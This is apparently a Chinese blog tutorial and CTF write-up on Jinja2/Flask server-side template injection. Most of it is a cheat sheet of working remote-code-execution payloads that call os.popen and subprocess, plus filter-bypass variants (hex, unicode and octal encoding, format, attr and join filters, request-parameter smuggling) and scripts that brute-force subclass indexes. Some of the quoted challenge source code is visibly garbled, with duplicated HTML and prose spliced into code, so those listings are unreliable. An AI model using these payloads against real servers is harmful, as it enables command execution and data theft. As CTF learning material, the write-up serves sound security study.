SSTI模板注入学习

相关概念

SSTI(Server-Side Template Injection)从名字可以看出即是服务器端模板注入。比如python中的flask、php的thinkphp、java的spring等框架一般都采用MVC的模式,用户的输入先进入Controller控制器,然后根据请求类型和请求的指令发送给对应Model业务模型进行业务逻辑判断,数据库存取,最后把结果返回给View视图层,经过解析,然后模板渲染展示给用户。(CTF中主要考察python的flask框架)

模板可以被认为是一段固定好的格式,等着开发人员或者用户来填充信息。通过这种方法,可以做到逻辑与视图分离,更容易、清楚且相对安全地编写前后端不同的逻辑。

产生原因

服务器对用户的输入未经任何处理,就将其作为 Web 应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了攻击者插入的可以破坏模板的语句,从而达到攻击者的目的。

模板在渲染时只能解析变量,一般不可以执行方法

实验学习

代码: app.py

from flask import *
from jinja2 import *
 
app = Flask(__name__)
 
@app.route("/")
 
def index():
    name = request.args.get('name','guest')
    html = '''<h1> Hello %s'''%name
    return render_template_string(html)
 
if __name__ == "__main__":
        app.run(debug=True,host='0.0.0.0')

可以看到,程序没有对前端输入的变量做处理,直接和hello拼接在一起,然后渲染,渲染函数在渲染的时候,往往对用户输入的变量不做渲染,即:{{}}在Jinja2中作为变量包裹标识符,Jinja2在渲染的时候会把{{}}包裹的内容当做变量来解析,Jinja2模板中的变量代码块可以是任意Python类型或者对象,只要它能够被Python的str()方法转化为一个字符串就可以

但不能直接执行方法,因为jinjia本身有沙盒安全机制,会严格限制程序的行为,比如{{2*2}}会被解析成4,如果输入name={{system(‘ls’)}};,就会报错,

在这里插入图片描述

在这里插入图片描述

可以看到,只能解析变量,如果直接执行方法,就会报错,所以要通过其他方法来找到执行rce的方式

利用方法分析

在python中,有很多魔术方法可以利用,来解析变量,

魔术方法功能
__class__ 获取这个对象所属的类
__base__获取这个类的父类
__subclasses__()获取这个类的所有子类,返回存放所有子类的列表
__init__ 实例化类时自动调用,也可以直接调用来初始化
__globals__它返回一个字典,其中包含当前作用域中的全局变量和其对应的值。

现在本地实验如何通过上方的魔术方法,来达到使用系统命令的结果

1.获取空字符串的所属类

print(''.__class__)  #获取字符串对象所属的类,自然是str类

在这里插入图片描述

2.获取父类object

print(''.__class__.__base__)  #获取str类之后,再获取它的父类,即object类

在这里插入图片描述

3.获取 object类的所有子类,得到存放所有object子类的列表

print(''.__class__.__base__.__subclasses__())

在这里插入图片描述

其中_wrap_close就是我们要用到了一个子类,不同环境这个类在这个列表中位置不同,通常需要写脚本遍历来找到它的位置,我这里所在的下标就是128

4.获取到wrap_close,__init__初始化后,使用 __globals__方法获取的这个对象的所有全局变量,返回的是一个字典

print(''.__class__.__base__.__subclasses__()[128].__init__.__globals__)

在这里插入图片描述

5.调用popen方法,字符串形式输入要执行的命令,因为popen方法会创建一个子进程来执行命令,从而逃逸了jinjia对app.py进程的沙箱限制,再使用read来读取子进程中命令执行的结果

print(''.__class__.__base__.__subclasses__()[128].__init__.__globals__['popen']('dir').read())

在这里插入图片描述

可以看到,成功执行了系统命令dir,然后在我的ubuntu虚拟机上运行 app.py文件,尝试ssti注入

在这里插入图片描述

注入成功,出现许多子类,如果一个个找wrap_close,非常麻烦,写个脚本


import requests
import time
def get_class_location():
    for i in range(10000):
        url = 'http://10.14.9.14:5000/?name={{"".__class__.__base__.__subclasses__()[%d]}}' % i
        res = requests.get(url).text
        if '_wrap_close' in res:
            print(i)
            break
        time.sleep(0.1)

get_class_location()

找到下标是132,然后按上面的方法执行系统命令即可,payload:

/?name={{''.__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('ls /').read()}}

__class__获取str类—>__base_获取父类object—>__subclasses__(132)获取object的所有子类,并取出第133个类:os._wrap_close

—>__init__初始化这个类—>__globals__['popen']获取全局变量字典,调用其中的popen函数—>('ls /').read()传入命令并读取执行结果

在这里插入图片描述

成功把 ls / 这个系统命令执行,注入利用成功

还有一种其他的payload:

/?name={{lipsum.__globals__.__builtins__.__import__('os').popen('ls').read()}}

lipsum是jinjia模板中用于生成随机文本的一种方法

payload中的调用链:

lipsum.__globals__获得lipsum方法内的全局变量,得到字典—>__builtins__使用这个内置的模块,其中包含了很多py内置方法—>调用__import__()方法引入os模块—>.popen('ls').read()使用os模块中的popen方法,并读取命令执行结果

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

基础payload总结

1.跑脚本找到object类中的os.wrap_close子类,初始化后利用其中的popen函数执行命令,read读取

/?name={{''.__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('ls /').read()}}

2.跑脚本找到object类中的 _frozen_importlib.BuiltinImporter子类,利用load_module方法引入os类,执行命令

/?name={{[].__class__.__base__.__subclasses__()[84]['load_module']('os')['popen']('cat /flag').read()}}

3.跑脚本找到object类中的 subprocess.Popen子类,传入命令执行,communicate方法读取

/?name={{''.__class__.__base__.__subclasses__()[351]('ls /',shell=True,stdout=-1).communicate()[0].decode()}}  

在这里插入图片描述

4.找到lipsum函数的全局变量字典,使用__builtins__方法引入内置模块os,利用其中的popen函数执行命令,这个较短,对长度有限制时可使用

/?name={{lipsum.__globals__.__builtins__.__import__('os').popen('ls').read()}}

5.与4差不多,利用get_flashed_messges方法中的全局变量字典,其中就有os模块,然后执行命令

/?name={{get_flashed_messges.__globals__['os']['popen']('cat /flag').read()}}

6.利用config存放了应用配置信息的字典,找到字典类并初始化,跟4一样引入os即可

/?name={{config.__class__.__init__.__globals__.__builtins__.__import__('os').popen('ls').read()}}

其实利用的payload比较固定,重点是过滤及绕过,我是通过下面这些大佬的文章来学习的

SSTI模板注入绕过(进阶篇)

flask SSTI学习与总结

相关过滤和绕过

过滤 .

1.可以用[‘方法名’]来代替,如’‘[’_class_']来代替,payload如下:

/?name={{''['__class__']['__base__']['__subclasses__']()[132]['__init__']['__globals__']['popen']('ls /')['read']()}}

在这里插入图片描述

过滤[]

1.用attr绕过,在jinjia中,attr用于获取属性的值,例如foot|attr(“bar”)等价于 foot.bar,返回foot的bar属性,这样构造payload,

过滤 . 也可以用这个方式

object的子类
/?name={{''|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(132)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen')('ls /')|attr('read')()}}
lipsum
/?name={{lipsum|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('__import__')('os')|attr('popen')('ls /')|attr('read')()}}

取出字典的值,来调用方法要用__getitem__方法

过滤关键字

字符串操作方法绕过

1.拼接绕过

像过滤 . 一样 把之前用到的类似的__class__的魔术方法,都换成[‘方法名’]来调用,而‘方法名’就是字符串形式,就可以拆成两部分来拼接

就像下面这样:

/?name={{lipsum['__glo'+'bals__']['__bui'+'ltins__']['__imp'+'ort__']('o'+'s')['pop'+'en']('cat /flag')['read']()}}

在这里插入图片描述

或者用attr取值时,把用到的字符串的地方都拆开来拼接都行,也可以不用 + 来拼接,直接'__glo''bals__'也行

2.反转绕过

/?name={{lipsum['__slabolg__'[::-1]]['__snitliub__'[::-1]]['__tropmi__'[::-1]]('so'[::-1])['nepop'[::-1]]('cat /flag')['daer'[::-1]]()}}

在这里插入图片描述

过滤器绕过

1.format过滤器,把字符串都用format过滤器来表示

/?name={{''["%c%c%c%c%c%c%c%c%c"|format(95,95,99,108,97,115,115,95,95)]["%c%c%c%c%c%c%c%c"|format(95,95,98,97,115,101,95,95)]["%c%c%c%c%c%c%c%c%c%c%c%c%c%c"|format(95,95,115,117,98,99,108,97,115,115,101,115,95,95)]()[132]["%c%c%c%c%c%c%c%c"|format(95,95,105,110,105,116,95,95)]["%c%c%c%c%c%c%c%c%c%c%c"|format(95,95,103,108,111,98,97,108,115,95,95)]["%c%c%c%c%c"|format(112,111,112,101,110)]("%c%c%c%c"|format(108,115,32,47))["%c%c%c%c"|format(114,101,97,100)]()}}
等价于
/?name={{''['__class__']['__base__']['__subclasses__']()[132]['__init__']['__globals__']['popen']('ls /')['read']()}}

在这里插入图片描述

2.join过滤器,用过滤器实现字符串的拼接

/?name={{''[['__cla','ss__']|join]
相当于
/?name={{''['__class__']}}

3.lower转小写,忽略大小写过滤时可用

/?name={{''['__CLASS__'|lower]}}
相当于
/?name={{''['__class__']}}

4.replace,reverse

replace

/?name={{''['__claee__'|replace('ee','ss')]['__ball__'|replace('ll','se')]['__subclahkes__'|replace('hk','ss')]()[132]['__inab__'|replace('ab','it')]['__globahs__'|replace('h','l')]['popbb'|replace('bb','en')]('cat /flag')['reab'|replace('b','d')]()}}

在这里插入图片描述

reverse就是逆序,payload应该差不多

编码绕过

/?name={{''['__class__']['__base__']['__subclasses__']()[132]['__init__']['__globals__']['popen']('ls /')['read']()}}为例,把要用的字符串都转为相应的编码即可

1.十六进制编码

写个函数一键生成payload,懒得一个个替换了

def hex_encode(text):
        res = ''
        for x in text:
            res = res + "\\x" + binascii.hexlify(x.encode('utf-8')).decode()
        return res
def get_payload(payload,encode):
    rests = re.findall(r"'(.*?)'", payload)
    for x in rests:
        if x=='':
            continue
        payload = payload.replace(x, encode(x))
    return payload
print(get_payload(payload,hex_encode))

结果

/?name={{''['\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f']['\x5f\x5f\x62\x61\x73\x65\x5f\x5f']['\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f']()[132]['\x5f\x5f\x69\x6e\x69\x74\x5f\x5f']['\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f']['\x70\x6f\x70\x65\x6e']('\x6c\x73\x20\x2f')['\x72\x65\x61\x64']()}}

在这里插入图片描述

2.unicode转义序列**(flask框架)**,也是写个函数,直接用.encode(‘unicode-escape’)只能转义中文,所以我上网找了个函数,再用上get_payload即可,我这里把命令换为cat /flag

def unicode(str):
    def left_zero_4(str):
        if str != None and str != '' and str != 'undefined':
            if len(str) == 2:
                return '00' + str
        return str

    value = ''
    for i in range(len(str)):
        value += '\\u' + left_zero_4(hex(ord(str[i]))[2:])
    return value

结果

/?name={{''['\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f']['\u005f\u005f\u0062\u0061\u0073\u0065\u005f\u005f']['\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f']()[132]['\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f']['\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f']['\u0070\u006f\u0070\u0065\u006e']('\u0063\u0061\u0074\u0020\u002f\u0066\u006c\u0061\u0067')['\u0072\u0065\u0061\u0064']()}}

3.八进制编码

/?name={{lipsum['\137\137\147\154\157\142\141\154\163\137\137']['\137\137\142\165\151\154\164\151\156\163\137\137']['\137\137\151\155\160\157\162\164\137\137']('\157\163')['\160\157\160\145\156']('\143\141\164\040\057\146\154\141\147')['\162\145\141\144']()}}
相当于
/?name={{lipsum.__globals__.__builtins__.__import__('os').popen('cat /flag').read()}}

在这里插入图片描述

过滤数字

用lipsum、get_flashed_message、config的payload或者使用first,last,random过滤器。

first:返回第一个元素,last返回最后一个元素,random返回随机元素(跑脚本),跑到能调用的类

/?name={{(''['__class__']['__base__']['__subclasses__']()|random())['__init__']['__globals__']['popen']('ls /')['read']()}}

import requests
import time
def run():
    for i in range(10000):
        url = "http://192.168.184.201:5000/?name={{(''['__class__']['__base__']['__subclasses__']()|random())['__init__']['__globals__']['popen']('ls /')['read']()}}"
        res = requests.get(url).text
        if 'Error' not in res:
            print(res)
            print(i)
            break

run()

在这里插入图片描述

运气不好的话,就要几百次才出来

过滤_

  1. attr
  2. 编码
  3. format过滤器
  4. request参数逃逸

request参数逃逸,用到字符串的地方其实都可以逃逸,能绕过很多限制,args接受的GET传的参数,args.x就是查询url中接收到的x参数的值

/?name={{lipsum[request.args.globals][request.args.builtins][request.args.import]('os').popen('cat /flag').read()}}&globals=__globals__&builtins=__builtins__&import=__import__

如果过滤了arg,可以尝试value,能接受GET,POST传的值

1.2结合还能绕过过滤 _ . []的情况

过滤引号

1.先构造一段{%%}找到内置函数chr,赋值给我们自己的chr,再开一个{{}},利用这个chr构造字符串,用不到引号,然后

找chr的两种方式

1./?name={% set chr=[].__class__.__base__.__subclasses__()[x].__init__.__globals__.__builtins__.chr%}
在我实验环境中测试 x 80500都可以,实际中选个三位数应该差不多,毕竟不同环境有不同的x
2./?name={% set chr=lipsum.__globals__.__builtins__.chr%}

完整payload

/?name={% set chr=lipsum.__globals__.__builtins__.chr %}   {{lipsum[chr(95)%2bchr(95)%2bchr(103)%2bchr(108)%2bchr(111)%2bchr(98)%2bchr(97)%2bchr(108)%2bchr(115)%2bchr(95)%2bchr(95)][chr(95)%2bchr(95)%2bchr(98)%2bchr(117)%2bchr(105)%2bchr(108)%2bchr(116)%2bchr(105)%2bchr(110)%2bchr(115)%2bchr(95)%2bchr(95)][chr(95)%2bchr(95)%2bchr(105)%2bchr(109)%2bchr(112)%2bchr(111)%2bchr(114)%2bchr(116)%2bchr(95)%2bchr(95)](chr(111)%2bchr(115))[chr(112)%2bchr(111)%2bchr(112)%2bchr(101)%2bchr(110)](chr(108)%2bchr(115)%2bchr(32)%2bchr(47))[chr(114)%2bchr(101)%2bchr(97)%2bchr(100)]()}}
相当于
/?name={{lipsum.__globals__.__builtins__.__import__('os').popen('ls /').read()}}

发现也是可以用py函数来构造后面半段的payload,前半段就是去寻找内置的chr方法,+要编码为%2b, 不然会报错导致失败
+被过滤时可用~代替

2.request参数逃逸,把要用引号包裹的字符串,都通过request来传递

/?name={{().__class__.__base__.__subclasses__()[132].__init__.__globals__.popen(request.args.cmd).read()}}&cmd=ls /

过滤{{

1.可以用{%print()%}来代替,在{%%}中可以插入一些python语句

payload:

/?name={% print(lipsum.__globals__.__builtins__.__import__('os').popen('ls').read())%}

在这里插入图片描述

在print里面输入原来的payload就行

2.可以在{% %}装入循环语句,遍历object的所有子类,找到我们可以利用的os._wrap_close类或subprocess.Popen子类,然后分别利用

寻找利用os._wrap_close类的payload

/?name={% for c in ''.__class__.__base__.__subclasses__() %}{% if c.__name__=='_wrap_close' %}{%  print(c.__init__.__globals__['popen']('cat /flag').read()) %}{% endif %}{% endfor %}

在这里插入图片描述

jinjia2过滤器

Flask JinJa中内置有很多过滤器可以使用,前文的attr() format join就是其中的一个过滤器。变量可以通过过滤器进行修改,过滤器与变量之间用管道符号(|)隔开,括号中可以有可选参数,也可以没有参数,过滤器函数可以带括号也可以不带括号。可以使用管道符号(|)连接多个过滤器,一个过滤器的输出应用于下一个过滤器

当过滤了很多,有些字符无法表示时,可以使用其他的过滤器获取,常见获取的字符入口如下

获取对象的toSting字符串,转为列表取出对应字符

{% set org =({}|select()|string) %}{{org}}

在这里插入图片描述

转为列表取出第一个字符

{% set org =({}|select()|string|list).pop(1) %}{{org}}

app.__doc__,可以获取更多字符

{% set org =(app.__doc__|string) %}{{org}}
//
The default undefined type. This undefined type can be printed and iterated over, but every other access will raise an :exc:`UndefinedError`: >>> foo = Undefined(name='foo') >>> str(foo) '' >>> not foo True >>> foo + 42 Traceback (most recent call last): ... jinja2.exceptions.UndefinedError: 'foo' is undefined

获取数字0,然后通过数学运算获取其他数字

{% set zero = (({ }|select|string|list).pop(38)|int) %}    # 0
{% set one = (zero**zero)|int %}{{one}}    # 1
{%set two = (zero-one-one)|abs %}    # 2
{%set three = (zero-one-one-one)|abs %}    # 3
{% set five = (two*two*two)-one-one-one %}    # 5
#  {%set four = (one+three) %}    注意, 这样的加号的是不行的,可能是因为加号在URL里会自动识别为空格,只能用减号配合abs取绝对值了

特殊字符获取

{% set xhx = (({ }|select|string|list).pop(24)|string) %}    # _
{% set space = (({ }|select|string|list).pop(10)|string) %}    # 空格
{% set point = ((app.__doc__|string|list).pop(26)|string) %}    # .
{% set yin = ((app.__doc__|string|list).pop(195)|string) %}    # 单引号 '
{% set left = ((app.__doc__|string|list).pop(189)|string) %}    # 左括号 (
{% set right = ((app.__doc__|string|list).pop(200)|string) %}    # 右括号 )

上面获取字符 需要用到.,如果数字没被过滤,可以考虑利用dict手动构造%c,获取任意字符

{% set c = dict(c=aa)|reverse|first %}    # 字符 c
{% set bfh = self|string|urlencode|first %}    # 百分号 %
{% set bfhc=bfh~c %}  # 构造了%c, 之后可以利用这个%c构造任意字符。~用于字符连接
{% set c = dict(c=aa)|first %}{% set bfh = self|string|urlencode|first%}{% set bfhc=bfh~c%}{% set e = bfhc%(47) %}{%print(e~'a')%}  #构造出/

就算数字被过滤,也可以通过上面的方式构造,就是麻烦许多

一些被ban的函数也可以通过 dict join 构造出来

% set but = dict(buil=aa,tins=dd)|join %}    # builtins
{% set imp = dict(imp=aa,ort=dd)|join %}    # import

在这里插入图片描述

题目实战

下面的题目都来自于newstarctf2023,buuctf

BabySSTI_One

在这里插入图片描述

提示传入name,题目提示就是ssti,我先测试一下{{''.__class__}},结果

在这里插入图片描述

有过滤,再继续测试一下发现是过滤了class,_ [] ,‘’,()都没过滤,感觉可以用编码绕过,看看有没有过滤\x

在这里插入图片描述

没有,直接用脚本整一个16进制编码payload,先执行ls命令

在这里插入图片描述

flag不在这个目录,看看根目录,

在这里插入图片描述

发现,cat查看,最终payload

/?name={{lipsum['\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f']['\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f']['\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f']('\x6f\x73')['\x70\x6f\x70\x65\x6e']('\x63\x61\x74\x20\x2f\x66\x6c\x61\x67\x5f\x69\x6e\x5f\x68\x65\x72\x65')['\x72\x65\x61\x64']()}}

在这里插入图片描述

成功了,顺便看一下题目源码:

from flask import Flask, request
from jinja2 import Template
import re
app = Flask(__name__)

@app.route("/")
def index():
    name = request.args.get('name', 'CTFer')
    if not re.findall('class|base|init|mro|flag|cat|more|env', name):
        t = Template("<body bgcolor=#E1FFFF><br><p><b><center>Welcome to NewStarCTF, Dear " + name + "</center></b></p><br><hr><br><center>Try to GET me a NAME</center><!--This is Hint: Flask SSTI is so easy to bypass waf!--></body>")
        return t.render()
    else:
        t = Template("Get Out!Hacker!")
        return t.render()

if __name__ == "__main__":
    app.run()

可以看到过滤了class、base、init、mro、flag、cat、more、env这些关键字

BabySSTI_TWO

在这里插入图片描述

源码提示有了更安全的waf,我写个脚本看看ban了啥

在这里插入图片描述

确实ban了很多,没有禁单引号,下划线,过滤的关键字可以类似'__glo''bals__',来绕过,过滤的空格可以用${IFS}绕过,payload

/?name={{lipsum['__glo''bals__']['__bui''ltins__']['__imp''ort__']('o''s')['pop''en']('ls${IFS}/')['read']()}}

在这里插入图片描述

head,查看

/?name={{lipsum['__glo''bals__']['__bui''ltins__']['__imp''ort__']('o''s')['pop''en']('head${IFS}/fl*')['read']()}}

在这里插入图片描述

成功了,再看看题目源码,其实也可以编码绕过

from flask import Flask, request
from jinja2 import Template
import re
app = Flask(__name__)

@app.route("/")
def index():
    name = request.args.get('name', 'CTFer')
    if not re.findall('class|init|mro|subclasses|flag|cat|env|"|eval|system|popen|globals|builtins|\+| |attr|\~', name):
        t = Template("<body bgcolor=#6B6882><br><p><b><font color='white' size=6px><center>Welcome to NewStarCTF Again, Dear " + name + "</font></center></b></p><br><hr><br><font color='white' size=6px><center>Try to GET me a NAME</center></font><!--This is Hint: Waf Has Been Updated, More Safe!--></body>")
</font></center></b></p><br><hr><br><font color='white' size=6px><center>Try to GET me a NAME</center></font><!--This is Hint: Waf Has Been Updated, More Safe!--></body>

if __name__ == "__main__":
    app.run()

看来我的字典还不够完善,裂开

BabySSTI_THREE

看看过滤了啥,

在这里插入图片描述

过滤了 _, 在我所学的绕过方法中,attr,request,都ban了,只能编码或format过滤器了,[] ' | \没过滤,可以尝试使用

经过尝试,编码和format都可以用,这里用format吧,ls /的payload

/?name={{lipsum['%c%c%c%c%c%c%c%c%c%c%c'|format(95,95,103,108,111,98,97,108,115,95,95)]['%c%c%c%c%c%c%c%c%c%c%c%c'|format(95,95,98,117,105,108,116,105,110,115,95,95)]['%c%c%c%c%c%c%c%c%c%c'|format(95,95,105,109,112,111,114,116,95,95)]('%c%c'|format(111,115))['%c%c%c%c%c'|format(112,111,112,101,110)]('%c%c%c%c'|format(108,115,32,47))['%c%c%c%c'|format(114,101,97,100)]()}}
相当于
/?name={{lipsum['__globals__']['__builtins__']['__import__']('os')['popen']('ls /')['read']()}}

在这里插入图片描述

直接查看,

在这里插入图片描述

搞定,再看看源码

from flask import Flask, request
from jinja2 import Template
import re
app = Flask(__name__)

@app.route("/")
def index():
    name = request.args.get('name', 'CTFer')
    if not re.findall('class|init|mro|subclasses|flag|cat|env|"|eval|system|popen|globals|builtins|\+| |attr|\~|request|\:|base|\{\%|_', name):
        t = Template("<body bgcolor=#6B6882><br><p><b><font color='white' size=6px><center>Welcome to NewStarCTF Again And Again, Dear " + name + "</font></center></b></p><br><hr><br><font color='white' size=6px><center>Try to GET me a NAME</center></font><!--This is Hint: Waf Has Been Updated Again, More And More Safe!--></body>")
        return t.render()
    else:
        t = Template("Get Out!Hacker!")
        return t.render()

if __name__ == "__main__":
    app.run()

好吧,我的字典又要更新了,学习之路道阻且长,回过头看前两题应该还可以用lower过滤器来绕过,没有添加re.I,不忽略大小写过滤

Genshin

一开始题目页面没有东西,dirsearch扫描也没发现啥,F12查看网络后发现

在这里插入图片描述

访问一下这个文件,提示我们要get传入一个name,发现传了啥就回显啥,输入{{}}回显了一个hacker,那就是ssti注入了,跑个字典

在这里插入图片描述

主要是过滤了{{,和一些关键字,用{%%}装入循环绕过{{}},字符串拼接绕过过滤关键字,双引号绕过过滤单引号

payload

?name={% for c in ().__class__.__base__.__subclasses__() %}{% if c.__name__=="_wrap_close" %}{%  print(c["__in""it__"].__globals__["pop""en"]("ls").read()) %} {% endif %}{% endfor %}

结果还是回显hacker,但是我没测出来还有啥被ban的,换个print的payload试试

?name={% print(config.__class__["__in""it__"].__globals__.__builtins__.__import__("os")["pop""en"]("ls").read())%}

在这里插入图片描述

cat查看,

在这里插入图片描述

成功,查看题目源码,看看到底还过滤了啥

import requests
import re
from flask import *

app = Flask(__name__)

pattern = ['lipsum', 'request', 'cookie', 'init', 'url_for', '\\', 'session', '""', '{{', '}}', ';', '=', 'popen']

def waf(input_text):
    for s in pattern:
        if input_text.lower().find(s) != -1:
            return False
    return True



擦,原来还过滤了`=`,难怪第一种payload用不了,而且还有lower方法,lower的过滤器用不了了
    return True

@app.route("/secr3tofpop")
def hello():
    ctfer = request.args.get("name")
    sign_in = '''
    Welcome to NewstarCTF 2023 {ctfer} 
    '''
    if not ctfer:
        return "please give a name by get"
    if waf(ctfer) == True:
        return render_template_string(sign_in)
    return "big hacker! get away from me!"

@app.route("/")
def index():
    response = make_response("Oh! try to find some information that is useful~")
    response.headers['pop'] = '/secr3tofpop'
    return response

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=5000, debug=True)

擦,原来还过滤了=,难怪第一种payload用不了,而且还有lower方法,lower的过滤器也用不了

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值